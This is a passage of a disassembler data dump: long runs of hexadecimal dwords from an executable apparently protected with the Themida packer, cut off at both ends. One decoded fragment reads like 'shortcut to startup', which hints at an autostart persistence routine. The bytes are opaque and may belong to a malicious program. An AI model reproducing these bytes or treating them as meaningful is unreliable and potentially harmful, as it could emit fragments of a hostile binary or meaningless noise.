2FB0A4AFh, 1C33A4C3h, 19DC6617h, 0D9D9DD35h, 0ABB1EBBCh dd 22553136h, 0A1DE1638h, 446B7253h, 0A7B236CAh, 0F305E983h dd 6A58A4h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0F49EEC3h, 88h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 4798F8E6h dd 0AAC11651h, 0C00B1D28h, 2F840Fh, 89600000h, 31F41B5h dd 38F0F06h, 66000000h, 8D61F98Bh, 34D1CB5h, 3B806h, 890F0000h dd 0 dd 8B0FE6FFh, 5, 67CA8166h, 0C4B64093h, 8B66C08Bh, 39BD83F8h dd 60310h, 0BD830975h, 603111Dh, 50197400h, 0B8C08B53h dd 403h, 23918589h, 9D8D0603h, 605B0F8h, 585BD3FFh, 111DBD83h dd 74000603h, 0B8535017h, 403h, 23918589h, 9D8D0603h, 605AD99h dd 585BD3FFh, 25853360h, 80060324h, 896158C3h, 33149BDh dd 0FC08B06h, 0C8Eh, 6830F00h, 8B000000h, 312999Dh, 58206106h dd 31C85733h, 12100133h, 0BB56C26Dh, 0B3002547h, 2F062577h dd 74010133h, 0AC97C265h, 0C03B4671h, 5236D0Dh, 1EF1B410h dd 0BE6E0730h, 0E38F67EBh, 0B60D059Bh, 32010335h, 0DAD60159h dd 32400130h, 6CE35F13h, 363475BAh, 362C45B2h, 32040127h dd 15C15775h, 3207893Ch, 0A70B0133h, 34430392h, 2EA5BCB0h dd 3D100730h, 32082DB7h, 65046B33h, 320202DBh, 0F15E2133h dd 16FC886Ch, 16048037h, 32201537h, 0F1474633h, 3FB588E1h dd 0DB020228h, 32020099h, 74E78055h, 0EB0B513Fh, 0DA6405BAh dd 32200138h, 716F9167h, 0A875F9C2h, 1B4606C1h, 3118208Eh dd 330E5F35h, 547E257Fh, 0D9FEEAB2h, 0DAFF8A6Bh, 3210013Eh dd 1D98A584h, 0DA9C8273h, 0A2ED3B96h, 0FB488F3h, 69860217h dd 0B96CC1B0h, 312AD88Eh, 0B9188A35h, 311AB08Eh, 7A8F6735h dd 63026BCFh, 320102DBh, 0F1D92133h, 160C886Ah, 16648037h dd 32101D37h, 0F1594033h, 26115339h, 0E6AB9275h, 0F08067DCh dd 0B3E6118Eh, 3DBF370Ah, 3220D7B7h, 0DBE3B333h, 32080127h dd 32FD07F0h, 7C7FC536h, 1782BABCh, 0B1B8ABC2h, 4F379EE3h dd 3D29C0B0h, 321004BFh, 0E4896733h, 0B84BE26h, 0D5870EDAh dd 0B9010133h, 31A41486h, 30CE0E35h, 0B9200133h, 33518AEDh dd 0DA590159h, 32040130h, 6BC15813h, 36254DBAh, 36A445B2h dd 3240012Ah, 4FE35072h, 7AFFA33Eh, 0D5C28064h, 312814D3h dd 63026BFBh, 320102DBh, 0F1D92133h, 160C886Ah, 16648037h dd 32101937h, 0F1594033h, 0A39A05B0h, 0B9CCBFE3h, 0F3826357h dd 67806B36h, 324002DBh, 0F17D2133h, 167C886Eh, 164C8037h dd 32041937h, 0F1574433h, 8406E71Dh, 328BE85Ah, 75160133h dd 1E213BBCh, 11A062B7h, 0A2318014h, 3D8F4278h, 320248B6h dd 738C2833h, 0BF860217h, 310D1DBEh, 62206B35h, 321002DBh dd 0F1502133h, 1640886Bh, 16468037h, 32011D37h, 0F1D04133h dd 0D16A3208h, 139E01DFh, 0D39D880Fh, 0BB0E0221h, 31084C8Eh dd 3201B935h, 0D3FE0133h, 21C99CB8h, 58210730h, 31C85633h dd 12100133h, 0BB57C26Ch, 0B300254Fh, 29062577h, 75010133h dd 0BF01C264h, 404B559Ch, 8FADF44Ch, 34183D59h, 0CE28CBEh dd 46BC073Bh, 10393B0h, 3102A4B6h, 0F34F2A35h, 582003DAh dd 31C85733h, 12100133h, 0BB56C26Dh, 0B3002547h, 2F062577h dd 0E9830133h, 8BA4F305h, 1D8D89C0h, 0F060329h, 0C38BF6B7h dd 0AE8h, 2A1F2400h, 0F7279297h, 0E9FC68E2h, 5, 9626C269h dd 0B5895A4Eh, 603028Dh, 6614C281h, 680000h, 0F000000h dd 8959F9B7h, 32E1D9Dh, 1134FF06h, 0A099D89h, 0E85B0603h dd 13h, 0CBA4D002h, 0A5A7C958h, 0BD87A51Fh, 0D4A839F8h dd 0E91BC29Ch, 5, 746B8341h, 0EB815FAAh, 161A5E99h, 10E8h dd 406D8C00h, 567BABD1h, 8D936AA2h, 0A7332619h, 51858BFFh dd 5F06032Eh, 6307C381h, 0BD8B185Bh, 6031239h, 9D73EB81h dd 1C8921EDh, 0D881660Ah, 0E983DFE2h, 0E727BF03h, 29495B7Bh dd 3119D8Dh, 0A8F98106h, 0FFFFF9Ah, 0FFFF7C85h, 68E0FFFh dd 8B000000h, 3209D85h, 0D38D8D06h, 6A060840h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 728CC351h, 0DCACF80Ah, 0F93EA5Dh, 983h, 0FFC6000h, 89h dd 8D896100h, 60331D1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 52C35545h, 2C1D19h, 31419D09h, 0B70F0603h dd 0E185C7F9h, 0D4060301h, 8A000073h, 0BD85C7DDh, 60321h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 2DC0C356h, 775196D3h, 13DD8D29h dd 0B5FF0603h, 6031375h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 37C35545h, 0EE856h, 9A950000h, 820DA1Ah dd 5E0EC3E7h, 8CE6A55Ch, 20FDB58Bh, 3580603h, 31A3995h dd 9195FF06h, 0BF060326h, 652E2D5Dh, 95FF006Ah, 6031FB9h dd 2CEBC08Bh, 51B75B66h, 8D437B26h, 2146C2C9h, 50F5F0B4h dd 68C2638Eh, 0B1C439DCh, 61236A52h, 3A6EDA50h, 0A8DC299Ah dd 3E19201h, 4051C91Ah, 41BF8D8Dh, 0BD8B0608h, 60308B9h dd 31D18D89h, 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 0D4D36BC3h, 2D8A9059h, 8958FC56h dd 3139585h, 0D5BD8906h, 0C7060322h, 301E185h, 5BBC06h dd 12E900h, 150B0000h, 4B8F5ED3h, 591BC754h, 0B1AF10CDh dd 923D1BABh, 21BD85C7h, 603h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F02684C3h dd 0B00DCB17h, 159D89ADh, 0F06031Fh, 68Dh, 81BD3300h, 0FF060312h dd 321ADB5h, 95FFF906h, 6032691h, 6941BF66h, 95FF006Ah dd 6031FB9h, 6BEBC08Bh, 0FA43F29Eh, 0A77E27A3h, 3302E300h dd 5DE50543h, 0EFBD7C79h, 8609E39Dh, 0FCB87B85h, 85AC6FBDh dd 26FF339h, 2D1BBB47h, 60904F8Ch, 18F69FC9h, 8BB39CF3h dd 0AEC082F0h, 60B7341Fh, 64196BF6h, 31A8ECABh, 0BE54741Dh dd 8B59B12Dh, 11B58B16h, 8EF0C7F3h, 0C9DE27C3h, 0CA433FDh dd 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h, 0DE5A11EAh, 0D4D4712Ah dd 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h, 0F1982633h dd 0EF5E265Ah, 339B090Ah, 0FFB44E60h, 0F867A5E4h, 0A09B0EFAh dd 2024A3BEh, 79672035h, 0FAC1A3BAh, 0D71B2030h, 339B0AEEh dd 831D2933h, 0C0982633h, 0AEDA19B6h, 0D6157635h, 0AF906402h dd 8D0DD963h, 839E251Dh, 35982664h, 1F152359h, 4B906472h dd 971DAB63h, 39E2E71h, 8FB9B3CCh, 14932030h, 6AA1A23Ch dd 0B0152633h, 9C906472h, 4DAACE63h, 0F6D82633h, 11DFA3BEh dd 24C8203Bh, 0DCDA67B6h, 0FF677635h, 339B34B6h, 1794E2B0h dd 45DA67B6h, 23157635h, 55906402h, 0F00DD963h, 3D9E251Dh dd 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh, 0A69824DAh dd 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h, 35B2CF3Bh dd 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h, 0A9982C88h dd 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch, 4EC3D9CCh dd 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch dd 88152637h, 9C90641Ch, 0EFCABBEh, 9320203Bh, 78000000h dd 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh, 0B58DFFFFh dd 6084364h, 43838D8Dh, 0CF2B0608h, 8B05E983h, 536CEBC8h dd 74726F68h, 20747563h, 73206F74h, 74726174h, 7075h, 13h dup(0) dd 1C000000h, 1462C01h, 0E9000000h, 0F5Eh, 8459868h, 0FE5AE906h dd 7D68FFFBh, 0E9060846h, 0FFFBFE50h, 8484C68h, 0FE46E906h dd 0A168FFFBh, 0E9060848h, 0FFFBFE3Ch, 8495868h, 0FE32E906h dd 0FA68FFFBh, 0E9060849h, 0FFFBFE28h, 84E3468h, 0FE1EE906h dd 9E68FFFBh, 0E9060850h, 0FFFBFE14h, 851A068h, 0FE0AE906h dd 3457FFFBh, 0C0DA988Ah, 4E6A081Ah, 0E404BAA8h, 6D8A283Ah dd 2B735BC9h, 0E7751136h, 1301A1C1h, 8C9E345Dh, 3D2FCBEEh dd 8FDBBA63h, 49A1A9C4h, 0E0054A21h, 0FA3C42DBh, 0ACCB4740h dd 9C98B0Ah, 316D4849h, 23837614h, 0C1F66406h, 754CE9C5h dd 0ADA455B2h, 58FB5EC6h, 0CBE8B411h, 867C8A2Bh, 0CEA1C0B5h dd 0A1A2C584h, 0E1011BB8h, 0AE985E35h, 3BAEh, 10743500h dd 0C07C1732h, 53D2B457h, 80E33ECBh, 0ADA491EDh, 0F0B2970Fh dd 2A4530D2h, 0A291034Bh, 0CBE63FA1h, 0A291FEE8h, 681636A1h dd 34691C84h, 8E6416D0h, 0D2DDAE98h, 0E6000000h, 9472C362h dd 7C5DFD19h, 6A1FDC86h, 8C0DADC8h, 8C0DA9CEh, 8E0FABCEh dd 1301A9CCh, 0A195257Eh, 23688DA7h, 6C470A3Dh, 0A7A1B27Ah dd 0BEBD1C84h, 113D39Eh, 25A44663h, 0B3967410h, 0B534D6F3h dd 0E8CB06F3h, 0ADA49D6Dh, 1605178Fh, 9AB19472h, 0A29CAF3Bh dd 1CE9A9A1h, 348FAAC1h, 0A1A29CA2h, 0BE11E45Ch, 0ABA42DA7h dd 0BD54F1A1h, 0E1235FB9h, 1433C61Dh, 0BA5B26F9h, 3A6B81D5h dd 0CDB85A78h, 0A6B45271h, 2441E300h, 85450786h, 0C30DDC15h dd 0AFB62B28h, 0D02h, 46D47A9Dh, 0F6640620h, 60F294B0h dd 96842A42h, 113B3D0h, 577CE535h, 0E70FADBFh, 7A9BD94Bh dd 11344AD8h, 7CD9FB69h, 0A9C57565h, 80FB83A1h, 2A38DE05h dd 5BC97194h, 3210741Ch, 9111BC17h, 387AADA4h, 5D787919h dd 0A2921442h, 7232E2A1h, 10910187h, 0A2927571h, 0B28A49A1h dd 988DC670h, 0DB3FAEh, 5440000h, 0FBBB3AE0h, 0D8BB3ADCh dd 0A7A185C3h, 0FE6C0E2Bh, 0FCFD9DB8h, 4AEFCBCFh, 0A49DEC6Bh dd 7BAE41ADh, 0A7D685A7h, 6029381Ah, 9959BFF4h, 9DB878ECh dd 8F89C9C2h, 744F6005h, 0A1A28462h, 9164249Ch, 0E5A9484Dh dd 0C3233F08h, 72D8DECDh, 7E3E39B9h, 623E5A8Bh, 4BEEAE44h dd 0A4BCE268h, 0B99C04ABh, 2A38DE05h, 0F197B3F3h, 0F3B534D2h dd 0C7EC4633h, 0D8CBF2Fh, 0E69B28C4h, 0C1DFFh, 0BF5F7800h dd 4FEB0FADh, 0DD799FDDh, 6F0F294Fh, 0FE98BFFDh, 5B00186Ch dd 0EA889A3Ch, 862436CCh, 1351C35Fh, 0BCC654F6h, 0C6580E61h dd 16A6A1A9h, 6C47629Dh, 0A7A1807Ah, 80E4F2CDh, 0A212A7A1h dd 6F9456CEh, 0E396D6D7h, 90822443h, 3EDCF9B5h, 30DAFFBFh dd 4A3FFFB1h, 3F2DCDE8h, 3AE00540h, 99F2441Fh, 0CCCD6D89h dd 749E2D8Ch, 27CB9FF6h, 8D35A7A1h, 5B938CDh, 7821DBE0h dd 87383E17h, 226655C7h, 0A38EE144h, 0CDADA411h, 3D715455h dd 98B07218h, 0CA8003F6h, 0F6A1A268h, 0B92180DFh, 47A1A268h dd 93692ADFh, 97B7A753h, 710AEh, 5EAB0000h, 87Dh, 32107425h dd 0A659BC17h, 13B2ADA4h, 3BA10707h, 4A62200Ah, 966325A4h dd 24038232h, 0DFAA486Eh, 7D9A4267h, 0E2FDD8D9h, 0A1A232F4h dd 12D29202h, 0A3476200h, 11314322h, 7F1C08E6h, 5BBA559Dh dd 4AFE9553h, 0D9FCB643h, 688D2331h, 82F67C2h, 0B9D89B6Eh dd 0CAE6C9CEh, 0EA55B714h, 7B392BCFh, 0F09EBE5Eh, 189AB130h dd 195B5AFCh, 0C9FEF56Ch, 7E1FCAE6h, 7416339Eh, 5A5C0E6h dd 0F7D3B784h, 0D7F07352h, 0B24DC0E3h, 0CF54A5ACh, 63E19459h dd 0F3F290B1h, 4363F1B1h, 0D7FDB1F1h, 0BB4795DEh, 0E0A0BB97h dd 29DAAFE1h, 0DDB4916Dh, 0DEEEE85Ah, 461906BEh, 0FCFFE601h dd 3507C4C0h, 2DCAABCFh, 4F2603C3h, 0FAFAD494h, 0FCC1C070h dd 54465B98h, 0B4A12BFEh, 307E51F4h, 5EF0C647h, 264343E6h dd 0C6C76386h, 0F9B96184h, 0BC7C1E3Bh, 0FD2599h, 0C9A739A1h dd 9F5FC7C4h, 0E63D18EAh, 0C9A7DB8Fh, 4DF10BC4h, 0B0600C4Ch dd 0AE4C69C5h, 22F4173Eh, 726DE480h, 0A4Eh, 92802E49h dd 210BADCh, 0BCAE486Ch, 2230DEFEh, 5DCF678Ch, 0B283149h dd 9BBBF96Bh, 2E571507h, 0C5E08694h, 0B06D3725h, 0A9C889D1h dd 4C2777A1h, 35DBE005h, 42146FBBh, 0BCA7A139h, 0C34A504h dd 35363FFCh, 9C9F7D0h, 30C65949h, 9C551CBBh, 9F985h, 0DB83A400h dd 6B0F2B49h, 0F99DBBF9h, 8B33556Bh, 1ABCDB99h, 87DC3C08h dd 1654C660h, 0A2C052F0h, 3F7DEF83h, 0D0E2701Ah, 0C87C6A45h dd 0F29AA1A9h, 3AE005F9h, 3ADCFBBBh, 0FE388428h, 0FBFAA4C4h dd 8307CCB9h, 602382A7h, 0B4ADA4B0h, 594C130Ch, 0E46F5DF5h dd 0CC67C2A0h, 8B4AC002h, 9AB144A7h, 64FF203Bh, 13316D6Ah dd 92028673h, 3FDBFFB7h, 680BFEBEh, 0C6633F5Bh, 0F3168CABh dd 77165657h, 6A62FF63h, 0F150259Dh, 60648BB1h, 50FC1C96h dd 52129333h, 5061E792h, 0E9040520h, 0E742020Dh, 8AECAC8h dd 6A4C17Dh, 97335614h, 84AB1207h, 7960E1F0h, 942h, 86943A5Dh dd 3624C6E0h, 0A0B25470h, 0D644EA02h, 41D37390h, 173C2575h dd 0A7CFED7Fh, 3A5B190Bh, 0D1F48A98h, 0BC993B29h, 0A9C9B525h dd 403B43A1h, 7A6C4762h, 84A7A180h, 0B0D5691Ch, 0B1102F0Ah dd 0A7A18029h, 3FAB0AD7h, 0D9A7A180h, 0BDDB9959h, 36156C19h dd 96BD577Ch, 0FFBFF1F0h, 0E989A80Ah, 4360227Bh, 22E280A1h dd 0D4A14160h, 0A1818D7Dh, 523054A7h, 0C54F9CF7h, 0B89ADA9h dd 0AE8B4BEFh, 0B435CDF4h, 0C8CA01F4h, 591F0DADh, 5F1F9E3Ch dd 5F1F9E38h, 270C9C36h, 0F422C311h, 8A0627Dh, 0DCFF0000h dd 68822032h, 0F61250C2h, 8CACC250h, 153270E2h, 839BE371h dd 0F1DB9DEh, 0BBA94969h, 0D446DC05h, 45D77396h, 0D783E23Bh dd 21A1A9C9h, 0E0052299h, 7EA71F3Ah, 1C5E11E4h, 25051F9h dd 0E500AF8Dh, 5FF6D745h, 62B5BD8Bh, 6F926724h, 0B49AFFBBh dd 56024h, 87ADE100h, 74A11AEFh, 0F8173210h, 0F9E74359h dd 1FEAC151h, 0A94E5784h, 54F1A1ADh, 8D9F3B5Eh, 44126D88h dd 0B2A1A94Dh, 0C9CE7702h, 30484AEFh, 0B84D0F8Eh, 0ECC7E239h dd 0A1A94DFAh, 76E99C04h, 270520ADh, 28FA52F1h, 3526697Eh dd 2EE7h, 0F74FC00h, 0C5F91431h, 1C3AF89Eh, 4610F386h dd 0B0A7A180h, 38EE8100h, 9CC808E3h, 11C565C7h, 8A943441h dd 7, 23F5E11h, 74250000h, 9F173210h, 9DDFDE78h, 80B1D9B8h dd 0D74FA7A1h, 0ADC8E722h, 5736D4F1h, 0A7A18003h, 0D1B045FDh dd 0ADA9C4E4h, 1635B46Ch, 0D1D07A9Ch, 606BEA9Fh, 0AAA1A9C4h dd 0B7F7F68Ch, 0A6F4F591h, 34A60BE1h, 1F7BB597h, 28CBE643h dd 1A7C57A8h, 956242B6h, 9CC2A607h, 0A73D2A7h, 8EABA1BBh dd 3506DF7h, 9858D53Fh, 37CFF48Ah, 37CFF4B6h, 0D4769012h dd 8FE693D5h, 8D0CA6CFh, 8C0DADC9h, 0D57AD2E7h, 5CC359FEh dd 0EF8D9F37h, 0E8AA2BC7h, 1CA928CAh, 14329D7Fh, 0FF2EB81Bh dd 6828ABB1h, 8527BAA8h, 79ABB100h, 0FB9BB858h, 6E8B293Bh dd 80D6A9h, 0C67EABB1h, 0D796D1E7h, 0D69617D1h, 0F74AED7h dd 0E6F91431h, 0A7A180F0h, 1AE3960Eh, 0BBA43E64h, 0E5A2DF07h dd 78932B41h, 2D57CC8Ch, 0A9557788h, 0AC526A28h, 4E0B32Dh dd 6E685A7h, 9AA432E4h, 0E004BEB4h, 0E681B346h, 1A000003h dd 62042062h, 0DE542163h, 51FD1FB9h, 33521050h, 92DEDF9Fh dd 0B5973402h, 0EC49ED0Ah dd 3E521A55h, 8471A968h, 7B1B387Eh, 0DAF9B5E0h, 0BF5B7E3Ch dd 2B8B7E3Eh, 7EC770Bh, 75905AB2h, 0A1CB4C1Ah, 146F8AA7h dd 0A7A1CB42h, 0B14404BCh, 2F30D6FDh, 0D5D47693h, 0A1CB3BB2h dd 886C23A7h, 0F4660421h, 12B6DDD1h, 105051F5h, 0E809A550h dd 0A1284B4Ah, 0A9A7A1CBh, 0CAC812EAh, 0C98B0AB0h, 0C15F863Ch dd 0C08001A1h, 4544EA02h, 0B0D14303h, 0A7A1C6B2h, 4B26D568h dd 2799B49Bh, 22FFFFFFh, 283AE005h, 0CACB6F8Ah, 0A18020ABh dd 87653AA7h, 0F85DFD18h, 73069CBAh, 0A6CDE3h, 2213EE81h dd 2E677815h, 0D5799313h, 0D221A234h, 11E45C77h, 9C4E987Ch dd 5E427FEh, 69h, 9CCAA5C0h, 7A77D22Dh, 2D92C4DFh, 0B46C77D2h dd 749401F4h, 0BC173210h, 0ADA9C447h, 315051C1h, 0A1A9C4AAh dd 0B575D78Ch, 0AE936A01h, 217Ah, 3E675F00h, 59EA2345h dd 59196040h, 0E86D1858h, 0A18BC026h, 0E02B32A7h, 0B2FFFFFDh dd 185Eh, 0B65E2500h, 7B000002h, 8015455Ch, 302EA7A1h dd 0ACD9F821h, 53269E72h, 6C4762EAh, 0A7A1807Ah, 0D5691C84h dd 42146FB0h, 0BCA7A180h, 4445E106h, 5844404h, 94862441h dd 2207E3A7h, 1C5ED883h, 22D7C17Eh, 0EB0D8CE7h, 0D26FADA4h dd 0A20AE7F3h, 0E1A111A1h, 0AC581E0h, 5AF9A1A2h, 5F7A38C2h dd 8F7A3ABBh, 98199E48h, 4C07AEh, 0C0C20000h, 42E001A3h dd 0B4410143h, 321074C7h, 9111BC17h, 387AADA4h, 397B7A1Ch dd 5958D84Ch, 0A2924C06h, 0BA6484A1h, 0BD617B3Bh, 15F7A43Ch dd 0EB411EA8h, 988D8F3Bh, 0EFC61DAEh, 0A1A29EFBh, 38E89D05h dd 0D9h, 0E280A11Dh, 0E005A617h, 0AD441F3Ah, 8D36B714h dd 6B2B4A3Fh, 6B2BAA4Ch, 1D04D4Eh, 0FC9CA798h, 0DCF9BD3Ch dd 70AD2C3Eh, 0BEA7A11Ah, 3E6DFF9Bh, 0E5D97C5Ah, 0E5A726BCh dd 7DEF510h, 0D5ACAEB4h, 0A7A17585h, 0F0E2C373h, 25BC498Eh dd 0ADA753AFh, 0DC8AE500h, 3AA1A7ABh, 99198F7Ah, 82D61BCh dd 0E1A14160h, 0DD799E14h, 841C3A78h, 7207C75Fh, 0E0A5C2E0h dd 10730D29h, 0B3D795B6h, 16D69617h, 0C153A786h, 0E2FD7422h dd 466h, 0FA681631h, 6AF8A2C4h, 84963054h, 0A18C6E6h, 0A5B74F74h dd 0F3104951h, 83A3C153h, 163F7DEFh, 0ADC8EE7Ch, 0D8451F0Dh dd 0A9CE91F9h, 645F6FA1h, 2A38DE05h, 0B1CB7194h, 49E84D0Dh dd 0F2CDFBF3h, 0A7A178E4h, 7203A212h, 4EE9BF9h, 38E0055Fh dd 3D7F7E20h, 30B15D7Fh, 1A31B070h, 0DADB7B98h, 1DBDD89Ah dd 0BAFCA68h, 906E2A19h, 0FBCF1AB5h, 7F4FDAF9h, 0F5744F8Ah dd 4EADA4CAh, 16972F54h, 752DA356h, 0F25B1574h, 7593A1A2h dd 7492D0D1h, 0A176DFDEh, 19C1E44Bh, 30148B59h, 9BBE9CF8h dd 0A7EC3938h, 0F163D3ABh, 4DE8C6C2h, 0AF4BE172h, 8AAF17A1h dd 0D84AEC08h, 0AF53D7B9h, 4CE60FB5h, 5FC3DEh, 628A0000h dd 93660820h, 0A180BA30h, 0AF8303A7h, 3FD9FFBDh, 3EBF7F1Bh dd 0A1800B5Fh, 27BBDBA7h, 18C2E4A6h, 125E799h, 0D8983A5Bh dd 0D87EA5D9h, 0ADCEA7D9h, 7409E24Fh, 6B0B2990h, 215F37CEh dd 327C19B9h, 0D8F9BF47h, 269CBB3Ah, 24646501h, 0D1A44266h dd 0A140777Eh, 58BC63A7h, 2032D0F1h, 44DC05BBh, 61C4841Eh dd 9461092Dh, 0D87899DDh, 0A240FFC0h, 0DD2ED834h, 0E5C5D1Dh dd 0E50CB389h, 0ED014928h, 47FFA7A1h, 0C8E0A287h, 0CE835326h dd 0A7A1F91Ah, 902C7829h, 0AF6FCB26h, 9B7AED92h, 572E45B4h dd 0A7A1B103h, 0B18DDDB4h, 0CB4BA7A1h, 5A8A7F27h, 0FFFFFF4Bh dd 3AE00561h, 5B2441Fh, 5FC16AAAh, 6E8BCBAAh, 2D695ECCh dd 9ABEF451h, 0CEBBFDFCh, 25DF413h, 0AC5936E0h, 6928AB5Eh dd 0CAADA409h, 4747B12Bh, 1EEB5B52h, 0E88B0A8Ah, 0A1A200E2h dd 96887DEh, 0A1A20041h, 517207BFh, 237F2BFBh, 0B1EDAE98h dd 0B5F7F694h, 3010C0h, 74AB0000h, 0BC173210h, 0ADA49111h dd 625EDB7Ah, 0E4292BD6h, 8203B311h, 0A2BAEBE3h, 0DC38D7A1h dd 98655802h, 0B9DED4AEh, 29DC9C1Dh, 9EE7h, 0E005FC00h dd 0DCFBBB3Ah, 0DEFBBB3Ah, 7FA5193Ch, 0D3A6E6E7h, 13B7D290h dd 855B4001h, 7693A7A1h, 0AC4746D4h, 0FB4EEBB6h, 5DD1A4C3h dd 22139238h, 0D2AD8866h, 0ADA4140Bh, 0B2F055CDh, 0B3F5F49Ah dd 8B0F3CC6h, 0AB2B8AAFh, 4DABA4E2h, 153270D5h, 33B25473h dd 0DA3B171h, 0E75040E6h, 3428C450h, 1FCA2BDh, 809B0000h dd 0C2E4CDEh, 9ABEFC6Eh, 30486EFCh, 0B9DE9C8Eh, 0DF3F0F1Dh dd 0ABB95D7Ah, 0C755ED15h, 70E280A1h, 0E1731732h, 7B6F46DFh dd 85A1A9D0h, 0DE05FEF5h, 71942A38h, 741C5BC9h, 7C173210h dd 550F0C55h, 0BB5B78F4h, 0F0D30EFBh, 0ADA481DDh, 0F529F36h dd 0D5CD3C7Ah, 0F5F4AC20h, 0A2F6D892h, 53F310A1h, 53F31052h dd 4A1C7752h, 0B4A1A2F6h, 2507940Ch, 99422399h, 8545D5ECh dd 6EB89C33h, 0AE9879BCh, 0C025h, 0E005BE00h, 0DCFBBB3Ah dd 0C59CBB3Ah, 0CF3F6D35h, 0B22DD8F9h, 0A7A15769h, 0EE0B8BA6h dd 573DAD4Ch, 0CCF5A7A1h, 19F5B736h, 3356EC99h, 0C2E78597h dd 0F0949918h, 79EA1FF3h, 6222D989h, 0AF75ECC7h, 0E4DEADA4h dd 0F96F1AC4h, 0A0E42B39h, 0A94867C2h, 0FB91547Bh, 0DAB5407Fh dd 0ABA4F23Bh, 0C2C065DDh, 3A1301A5h, 9D2841Fh, 742CABA8h dd 60062D81h, 0C4561170h, 78631E28h, 0FAh, 4EDC82A5h, 0FE6C0E28h dd 68FA9CB8h, 9E8C324Ah, 91BBBD8h, 5F84DD3Dh, 0EF1755C7h dd 82A3C153h, 193C72E0h, 44D1E371h, 0A9D17D6Dh, 0F8F39BA1h dd 2A38DE05h, 0ABCB7194h, 0F7D69617h, 872B7355h, 0A2B07074h dd 3AE00535h, 3CDEFBBBh, 0D2D0EF2Eh, 677312B8h, 91A7A180h dd 0A2446321h, 6F946123h, 0A8EA4F2Bh, 0AAEAEB8Bh, 6EA4560Bh dd 90650EFCh, 99251A75h, 0F3A3ADA9h, 0F595B0F2h, 0E3244167h dd 3E284A3h, 0A1A92157h, 1433F1A1h, 5033B272h, 0E1CD72A3h dd 0C06FCD92h, 511705A5h, 57179634h, 4A088935h, 4B0B8A30h dd 0CC6E882Ch, 0CACB8BCDh, 0D378DC61h, 1E819B38h, 9F375DFBh dd 9011B9DDh, 1E3510D0h, 8D74D387h, 51772DE1h, 0B47434B5h dd 5A7F3DC1h, 0FF1A31B0h, 8D74F2E4h, 0E1940CE1h, 1516h dd 47625D00h, 0A1807A6Ch, 391C84A7h, 0A18030A6h, 0A356CEA7h dd 0E2051067h, 0DCF9BD3Ch, 0D6FFBF3Eh, 0D9F9BD3Ch, 2 dup(0DDFAB839h) dd 0E2FAB839h, 0DBF9BD3Ch, 0DEF8BA3Bh, 83FABD3Ch, 348904ECh dd 81E68924h, 4C6h, 4EE8300h, 5C243487h, 7A0B68h, 240C8900h dd 5E08950h, 4, 8704E883h, 895C2404h, 0BF572404h, 6084452h dd 685F5957h, 7592h, 83242489h, 58042404h, 2F685553h, 5D512761h dd 0C106EDC1h, 0E5C108E5h, 8C58103h, 89DB13E0h, 0C3015DEBh dd 0FF5B0B89h, 81582434h, 4C4h, 240C8B00h, 81E68956h, 4C6h dd 4C68100h, 87000000h, 0E95C2434h, 0FFFBEF14h, 67B69D28h dd 0CD2E5F20h, 52C21D1Fh, 0BFB8A89Dh, 3060852h, 6DE0FFC5h dd 4C66C3B4h, 0E417F62Ch, 0AE547A79h, 7B26D8CBh, 0B4A79F8h dd 4B6102C1h, 20746431h, 9334C61Ah, 319520Ah, 0CC4AA511h dd 0EC1456AEh, 0DB448FF1h, 9A67E8A6h, 603A3170h, 734289A7h dd 16007B2Ah, 0E33E82A4h, 0B8798858h, 146D61BAh, 7B35FF75h dd 958EE8Eh, 0EE01CCC3h, 8D37925Ah, 854898Dh, 8947B206h dd 331D18Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8E0FDF72h, 6 dd 23598589h, 7E90603h, 41000000h, 6A9B441Dh, 85C7B552h dd 60301E1h, 72E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 0C6C35747h, 13FF8928h, 1AE58529h, 85C70603h dd 60321BDh, 0 dd 1BDCF681h, 0B5FF3237h, 60321D9h, 10E9h, 2158B300h, 0BBBB2796h dd 0F7C5CBEFh, 255CDEF0h, 9195FFB4h, 6A060326h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0AF91C353h, 0AF008368h, 6AC321h, 1FB995FFh, 0C08B0603h dd 5ACA09EBh, 82DF06C1h, 0E821DA25h, 5, 2DD5ABFBh, 0BD8B5856h dd 60304E1h, 6836C081h, 10E90000h, 0CD000000h, 0E290214Ah dd 62F7A73Bh, 0D2F32659h, 0BA840072h, 19E5h, 6810Fh, 0B5890000h dd 6031281h, 0FE8308Bh, 17000000h, 0EDB797E5h, 83B52DFAh dd 639F9C7Fh, 0E380D75Dh, 0F6815926h, 16CEE3C1h dword_591168 dd 0CDC681F9h, 0F03AD11h, 581h, 6B7FBB00h, 0C681579Dh ; DATA XREF: Themida_:off_55F1FFo dd 78E88808h, 609BD09h, 30890603h, 0CA8CA2BBh, 8CE88119h dd 0F32BC7Dh, 38Fh, 0CB8B6600h, 7D88C081h, 9D8932BCh, 6031B15h dd 1EA81h, 850F0000h, 0FFFFFF94h, 8D8DF88Bh, 6085603h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0C8C35343h dd 3276EB1h, 0BA667E80h, 8D89C953h, 60331D1h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 